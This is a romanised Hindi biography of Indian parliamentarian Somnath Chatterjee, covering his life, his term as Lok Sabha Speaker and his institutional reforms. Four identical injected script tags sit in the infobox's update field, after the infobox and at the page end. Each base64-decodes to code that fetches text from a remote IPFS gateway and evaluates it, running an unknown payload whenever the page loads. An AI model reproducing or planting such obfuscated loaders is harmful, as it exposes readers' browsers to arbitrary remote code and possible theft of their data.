सोमनाथ चटर्जी
somanath chatarji
| |
| poora nam | somanath chatarji |
| any nam | somanath da |
| janm | 25 julaee, 1929 |
| janm bhoomi | tejapur, asam |
| mrityu | 13 agast, 2018 |
| mrityu sthan | kolakata, pashchim bangal |
| abhibhavak | pita- en.si. chatarji, mata- vinapani devi |
| pati/patni | renu chatarji |
| santan | ek putr aur do putriyaan |
| nagarikata | bharatiy |
| parti | bharatiy kamyunist parti (marksavadi) |
| pad | lokasabha adhyaksh |
| kary kal | 4 joon, 2004 se 16 mee, 2009 |
| shiksha | snatakottar |
| any janakari | somanath chatarji ne sabha ki karyavahi ke sanchalan ko sudharane mean pahal ki aur unhoanne is sanbandh mean kee mahattvapoorn vinirnay aur nirnay die. |
| adyatan | 14:45, 13 julaee 2014 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
somanath chatarji (aangrezi: Somnath Chatterjee, janm: 25 julaee, 1929, tejapur, asam; mrityu: 13 agast, 2018, pashchim bangal) 'bharatiy kamyunist parti' ke pramukh netaoan mean se ek the. ve chaudahavian lokasabha mean pashchim bangal ke bolapur lokasabha kshetr ka pratinidhitv karate the. shri chatarji chaudahavian lokasabha ke lokasabha adhyaksh bhi the. vigat varshoan mean bharatiy sansad ke kee pramukh adhyaksh hue haian, jinhoanne adhyakshapith ko garima aur samman pradan kiya hai. somanath chatarji 4 joon, 2004 ko is sammananiy pad ke lie nirvirodh nirvachit hokar adhyakshoan ke dipti mandal mean sammilit hue. jaisa ki pandit javaharalal neharoo ne kaha hai ki- "adhyaksh rashtr, usaki svatantrata aur azadi ka pratinidhitv karata hai."
jivan parichay
25 julaee, 1929 ko 'shri en.si. chatarji' aur 'shrimati vinapani devi' ke suputr ke roop mean tejapur, asam mean janme shri chatarji ki shiksha-diksha kalakatta aur yunaited kiangadam mean huee. unhoanne snatakottar (kaiantab) tatha yoo.ke. mean midil taianpal se bairistar-et-l aau kiya. shri chatarji ki dharmapatni ka nam shrimati renu chatarji hai. unake ek putr aur do putriyaan haian.[1]
rajaniti mean padarpan
somanath chatarji ne ek adhivakta ke roop mean apane kairiyar ki shuruat ki tatha 1968 mean ve bharatiy kamyunist parti (marksavadi) ke sadasy banane ke bad sakriy rajaniti mean shamil hue. rashtriy rajaniti mean unaka abhyuday pratham bar 1971 mean lok sabha ke lie nirvachit hone ke sath hua. tab se lekar unhoanne sabhi lokasabhaoan mean ek sadasy ke roop mean nirvachit hokar seva ki hai, varsh 2004 mean vartaman 14vian lokasabha mean ve dasavian bar nirvachit hue. varsh 1989 se 2004 tak ve lok sabha mean sipiaee(em) ke neta rahe. lokasabha chunav mean unaki baranbar adhik matoan ke sath vijay, janata ke bich unaki lokapriyata, parti mean unake sthan tatha saansad ke roop mean unake kaddavar vyaktitv ko pramanit karata hai.
saansad
sansadiy lokatantr mean abaddhakari astha ke sath somanath chatarji ne sadhe tin dashakoan tak ek vishisht saansad ke roop mean seva ki. ek prakhar vakta tatha ek prabhavi vidhayak ke roop mean unhoanne apane lie ek alag sthan banaya. bharat ki sansadiy pranali ko sudridh banane mean unake aparimit v amooly yogadan ko svikar karate hue unhean varsh 1996 mean "utkrisht saansad puraskar" pradan kiya gaya. varsh 1971 se mahattvapoorn vishayoan par vad-vivad mean bhag lekar unhoanne sadan mean vichar-vimarsh mean samriddh yogadan diya. shri chatarji ne kamagar varg tatha vanchit logoan ke muddoan ko prabhavi dhang se uthakar unake hitoan ke lie avaz buland karane ka koee bhi avasar nahian ganvaya. unaka vad-vivad kaushal, rashtriy aur antarrashtriy muddoan ki spasht samajh, bhasha ke oopar pak d tatha jis hasy vinod ke sath sadan mean ve apana drishtikon rakhate the, jinhean sabha dattachitt hokar sunati thi, ve unhean ek suvikhyat saansad banate haian.[1]
apane poore sansadiy jivan mean somanath chatarji ne sadan ki garima ko badhane vale moolyoan tatha paramparaoan ka nirvahan karane tatha sansad ki sanstha ko sudridhata pradan karane mean ek udaharan prastut kiya. shri chatarji ne sabhapati tatha sadasy ke roop mean anek sansadiy samitiyoan ki shobha badhayi. unhoanne adhinasth vidhan sanbandhi samiti tatha soochana praudyogiki sanbandhi samiti[2], visheshadhikar samiti, rel sanbandhi samiti, sanchar sanbandhi samiti[3] ki vishishtata sahit adhyakshata ki. ve kee samitiyoan ke sadasy rahe haian, jinamean se kuchh ek niyam samiti, samany prayojanoan sanbandhi samiti, kary mantrana samiti adi haian. ve anek sanyukt samitiyoan tatha pravar samitiyoan visheshatah vidhi ke kshetr mean visheshajnata ki avashyakata vali samitiyoan se sambaddh rahe. ek bairistar tatha ek varishth adhivakta ke roop mean unhoanne sadan tatha isaki samitiyoan donoan hi jagahoan par vidhan ke kshetr mean apani qanooni siddhahastata ka prayog kiya.
lokasabha adhyaksh ka pad
4 joon, 2004 ko 14vian lokasabha ke adhyaksh ke roop mean somanath chatarji ka sarvasammati se nirvachan kar sadan ek itihas rach raha tha. pratham bar samayik adhyaksh ka lokasabha ke adhyaksh ke roop mean nirvachan kiya ja raha tha. 4 joon, 2004 ko kaangres parti ki neta shrimati soniya gaandhi ne adhyaksh ke roop mean somanath chatarji ke nirvachan ka prastav prastut kiya. tatkalin raksha mantri shri pranav mukharji dvara is prastav ka anumodan kiya gaya. yah mahattvapoorn hai ki lok sabha mean 17 any daloan ke netaoan ne bhi inake nam ka prastav kiya, jisaka samarthan any daloan ke netaoan dvara kiya gaya. jab vichar aur matadan hetu is prastav ko sadan ke samaksh rakha gaya, tab sabha ne sarvasammati se ise svikar kiya tatha somanath chatarji nirvirodh adhyaksh nirvachit kie ge. adhyaksh ke is pratishthit pad par nirvachit hone par shri chatarji ko badhaee dete hue pradhanamantri, vipaksh ke neta tatha lok sabha mean sabhi rajanitik daloan ke netaoan ne desh mean sansadiy lokatantr ki uchch paranparaoan, jinake vikas mean unhoanne kafi mahattvapoorn yogadan diya hai, ko banae rakhate hue sabha ki karyavahi ko nishpaksh aur gauravapoorn tarike se chalane ki unaki yogyata mean vishvas vyakt kiya. adhyaksh ke roop mean somanath chatarji lokasabha tatha samast sansadiy lokatantr pranali ki pratishtha aur vishvasaniyata ke pratik haian.
kushal sanchalak
somanath chatarji ne sabha ki karyavahi ke sanchalan ko sudharane mean pahal ki aur unhoanne is sanbandh mean kee mahattvapoorn vinirnay aur nirnay die. 22 julaee, 2008 ko vishhvas mat ke dauran kie ge sabha ke sanchalan ke lie unako desh ke vibhinhn vargoan ke nagarikoan tatha videshoan se kafi sarahana mili. sabha mean mahattvapoorn muddo par suvyavasthit vad-vivad sunishchit karane ke lie shri chatarji sabhi satroan se pahale aur satr ke dauran rajanitik daloan ke netaoan ke sath niyamit roop se baithakean karate rahe haian. duracharan ke mamaloan sahit kee mahattvapoorn mamale visheshadhikar samiti ko sauanpe ge, jinake parinamasvaroop sansad sadasy nishkasit aur nilanbit hue haian. adhyaksh ki pahal par hi sansad sadasyoan ko duracharan aur samay-samay par hone vale any sanbandhit muddoan ke aropoan ki jaanch ke lie ek vishesh samiti gathit ki gayi. unhoanne rajy sabha ke sabhapati ke sath paramarsh karake samiti ke dauroan sanbandhi niyamoan ko sanshodhit kiya. aantararashtriy dauroan, sammelanoan aur sansadiy shishtamandal ke videshi dauroan sanbandhi prativedanoan ko ab sabha patal par rakha jata hai.
kootanitijn
chin yatra ke dauran bharatiy sansad ne chin ki sansad ke sath pratham samajhauta jnapan par hastakshar kie, jisamean sansadiy lenaden evan sahayog ko badhane ke lie samajhauta kiya gaya hai. videshoan mean bharat ki pratishtha mean vriddhi karane, mahattvapoorn aantarrashtriy sammelanoan yatha rashtramandal sansadiy esosieshan (sipie), aantarsansadiy sangh (aeepiyoo) tatha any seminaroan evan karyashalaoan mean prastutikaranoan ki gunavatta mean sudhar ke lie mananiy adhyaksh mahoday dvara vishesh prayas kie ge haian. mukhyatah lok sabha ke mananiy adhyaksh dvara kie ge vishesh kootanitik prayasoan ke karan pashchim bangal vidhan sabha ke adhyaksh 'hashim abdul halim' ko 2 sitambar, 2005 ko sipie sammelan, nadi (phiji) mean 3 varsh ke karyakal ke lie rashtramandal sansadiy sangh ki karyakari samiti ka adhyaksh bhari bahumat se chuna gaya. kisi bharatiy pratinidhi ko yah samman 20 varshoan ke bad prapt hua. isake sath hi lok sabha ke mananiy adhyaksh ko nadi (phiji) mean rashtramandal sansadiy sangh ka upadhyaksh chuna gaya tatha bharat ko 53vean sipie sammelan ki mezabani karane ka samman prapt hua. sitambar 2006 mean shri chatarji ko abuja, naijiriya mean rashtramandal sansadiy sangh ka adhyaksh chuna gaya. unake netritv tatha samarth dishanirdesh mean bharat ne sitambar, 2007 ke dauran nee dilli mean 53vean sipie sammelan ki saphalatapoorvak mezabani ki, jisamean 52 deshoan ko vividh kshetroan mean bharat ki upalabdhiyoan se avagat karaya gaya. shri chatarji ne jeneva[4] mean aantarsansadiy sangh ki 117vian sabha mean bharatiy sansadiy shishtamandal ka netritv kiya.[1]
sadan ki karyavahi ka prasaran
shri chatarji ki pahal par "shoonyakal" ki karyavahi ka 5 julaee, 2004 se sidha prasaran kiya gaya hai. shri chatarji ka manana hai ki, yah qadam logoan ke janane ke adhikar ke svikaran mean shuroo kiya gaya hai, isaka uddeshy sadasyoan ko anushasit karana nahian tha, n hi unaka aisa manana hai ki, isase sansad ki alochana hogi. sansadiy karyavahi ko adhik vyapak midiya kavarej pradan karane ke lie 24 julaee 2006 se poore 24 ghante ke lie lok sabha ka ek telivizan chainal shuroo kiya gaya hai. isake parinamasvaroop sabha ki darshak dirgha ka vistar vastav mean poore desh mean ho gaya hai tatha isase logoan ke sansad ke nikat ane ki asha ki jati hai. vishv mean yah apane ap mean akela prayas hai.[1]
mahattvapoorn pahal
vibhagoan se sanbaddh sthayi samitiyoan (diaresasi) ke karyakaran ke sanbandh mean shri chatarji ne ek aur mahattvapoorn pahal ki hai. nidesh 73k mean yah pravadhan kiya gaya hai ki, sanbandhit mantri chhah mahine mean ek bar lok sabha ki vibhagoan se sanbaddh sthayi samitiyoan (diaresasi) ke prativedanoan mean nihit sipharishoan ke karyanvayan ki sthiti ke bare mean apane mantralay ke sanbandh mean ek vaktavy dega. isase samitiyoan ki sipharishoan, jo ki samanyataya ekamat se ki jati haian, ke karyanvayan mean kafi sahayata mili hai. 14vian lok sabha ke dauran "dhyanakarshan prastavoan" tatha "sthagan prastavoan" ki sankhya mean suspasht vriddhi huee hai. 14vian lok sabha ke dauran aj ki tithi tak kul 103 dhyanakarshan prastav aur 7 sthagan prastav lae ge haian. mananiy adhyaksh mahoday ne is bat ki vakalat ki ki, svayan sadasyoan ko apane vetan aur bhattoan ke sanbandh mean sujhav nahian dena chahie aur yah kary ek svatantr ayog dvara kiya jana chahie. sabhi daloan ke netaoan ne is sujhav ka samarthan kiya. tadanusar samay-samay par mananiy sadasyoan ke vetan aur bhattoan ke nirdharan ke lie sansthagat tantr banane ke lie pradhanamantri ke pas ek prastav bheja gaya. is prastav par sarakar vichar kar rahi hai.
prashasanik sudhar
mananiy adhyaksh mahoday shri chatarji ki pahal par janashakti ki avashyakata ka punahnirdharan karane, unaki prabhavi tainati, behatar kairiyar sanbhavanaoan ki roop-rekha taiyar karane aur karyatmak dakshata, paradarshita aur javabadehi ko badhane ki drishti se lok sabha sachivalay mean vibhinn sevaoan ki vyapak sanvarg samiksha praranbh ki gayi hai. sachivalay ke prashasanik tantr ko sashakt banane aur vastavik vikeandrikaran ko protsahan dene ki drishti se mananiy adhyaksh mahoday ne prashasanik aur vittiy shaktiyaan mahasachiv ko pratyayojit kar di hai. karmachariyoan ki seva sanbandhi samasyaoan par khulakar vichar vimarsh karane aur unake samadhan ke lie 2005 mean ek shikayat nivaran tantr ki sthapana ki gayi hai. tadarthavad se bachane ke lie karmachariyoan ke sthanaantaran ki niti niroopit ki gayi hai.
midiya sampark
mananiy shri chatarji satr praranbh hone se poorv aur isake pashchath midiya ke sath niyamit roop se baithakean karate rahe haian. ye baithakean sabha ki karyavahi se sanbandhit vividh muddoan ki vyakhya karane aur unhean spasht karane mean vishesh roop se upayogi rahi haian. sansad ki pres dirgha ke lie pradhikrit midiya karmiyoan ke lie sansadiy adhyayan evan prashikshan byooro (bipiesati) dvara prabodhan karyakramoan ka bhi ayojan kiya gaya hai aur in karyakramoan ki atyadhik sarahana ki gayi hai. pres salahakar samiti ko vibhinn rajyoan ki samakaksh samitiyoan ko shamil karate hue rashtriy sangoshthiyoan aur karyashalaoan ka ayojan karane hetu protsahit kiya ja raha hai.
sansadiy sangrahalay ki sthapana
shri chatarji dvara ek any mahattvapoorn pahal bharat ki lokataantrik virasat par atyadhunik sansadiy sangrahalay ki sthapana hai. bharat mean rashtrapati dvara 14 agast, 2006 ko is sangrahalay ka udghatan kiya gaya. is sangrahalay mean bharatiy lokatantr ke udhbhav ke vibhinn charanoan ko suvidhapoorvak prastut kiya gaya hai. yah sangrahalay janata ke darshanarth khula hai aur vidyarthiyoan ke lie to yah vishesh akarshan hai.[1]
janakalyan kary
maniy adhyaksh mahoday mahattvapoorn niti gat aur karyakram sanbandhi muddoan par visheshajnoan ki ray lene ke lie niyamit roop se visheshajnoan se paramarsh karate the. karyapalika, vidhayika aur nyayapalika ke madhy shaktiyoan ke prathakkaran jaise mahattvapoorn sansadiy muddoan par vistrit charcha aranbh ki gayi hai. ab tak sansadiy granthagar ke pustakoan aur patrikaoan ke samriddh sangrah ka labh sansad sadasy hi utha pate the, parantu mananiy adhyaksh ki pahal par granthagar ke dvar pratishthit vishvavidyalayoan aur sansthaoan ke anusandhan adhyetaoan tatha patr soochana karyalay dvara pradhikrit patrakaroan aur sarakari adhikariyoan ke lie bhi khol die ge haian. shri chatarji ne bachchoan mean achchhi pustakean padhane ki adat dalane aur isake lie unhean protsahit karane ke uddeshy se aur unake sath sansadiy granthagar sangrahalay aur abhilekhoan ke sansadhanoan ko baantane ke lie susajjit rang-birange aur atyadhunik bal kaksh ki sthapana karane ki pahal ki thi.
bahuayami evan parishrami vyaktitv
shri chatarji ka vyaktitv bahuayami tha, unaki shiksha, khelakood aur sansadiy adhyayan mean ruchi thi. vah har arth mean am janata se ju de hue vyakti the. ve sudridh vaicharik adhar vale ek adhunik vyakti the, parantu kahian n kahian ve udaravad se bhi mazabooti se ju de hue the. unamean rajanitik vibhajan se oopar uthane ki adabhut kshamata ke sath sath bharat ke lokatantr ke buniyadi siddhaantoan aur moolyoan ke prati adig pratibaddhata bhi thi. ve udyog aur krishi, donoan hi kshetroan ko saman mahattv dene mean vishvas karate the aur donoan hi ki unnati ke lie bharasak prayas karate rahe. ve ek dashak se bhi zyada samay tak 'pashchim bangal audyogik vikas nigam' ke adhyaksh rahe aur pashchim bangal rajy mean nivesh ko badhava dene ke lie unhoanne kee rashtroan ki yatra ki. shri chatarji anekanek samajik saanskritik, shaikshanik aur vyavasayik sansthaoan tatha vyapar sanghoan se sakriy roop se jude hue the. in sangathanoan ke madhyam se ve vanchit aur dalit logoan ke utthan aur saksharata abhiyan jaise sakaratmak karyakalapoan se jude hue the. ve khelakood ke prati ati utsahi the aur khelakood pratispardhaean dekhana pasand karate the. ve kee khelakood sangathanoan se jude hue the. ve 'mohan bagan', 'd kriket eshosieshan aauph bangal', 'd bangal tebal tenis eshosieshan' adi ki karyakari samiti ke sadasy the.[1]
adarsh aur prerana srot
somanath chatarji 1971 se lok sabha ke sadasy ke roop mean sansadavidoan ke lie adarsh rahe. ve ek atyant pratishthit adhivakta, vyapar sanghavadi, spashtavadi aur prabhavashali sansadavid aur kaddavar neta the. vishv ke sabase b de lokatantr ke ve adhyaksh the. kisi ke lie bhi unaka rikard to dana bahut dushkar hoga. apane poore sarvajanik jivan ke dauran somanath chatarji logoan mean lokatantr ki sanstha ke prati adar ki bhavana jagrit karate rahe aur is prakar se lokatantr mean logoan ka vishvas banaye rakha. vyavastha mean khamiyoan ke karan am logoan ke mohabhang se bhalibhaanti parichit hone ke karan ve un khamiyoan ko door karana chahate the. at: ve logoan mean vyavastha ke prati badhati ja rahi katuta ke bare mean sansad ko nirantar ahasas karate rahe aur yah batate rahe ki yadi vyavastha mean sudharatmak upay nahian kie jaeange to logoan ka vishvas shasan ki pranali ke roop mean sansadiy lokatantr ki kshamata se uth jaega. shri chatarji lok sabha ke karyakaran mean paradarshita aur javabadehi lane ka bharasak prayas karate rahe, taki ve lok sabha ko vishv ke sabase b de lokatantr ke sabase ooanche manch ke roop mean punah sthapit kar sakean.
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>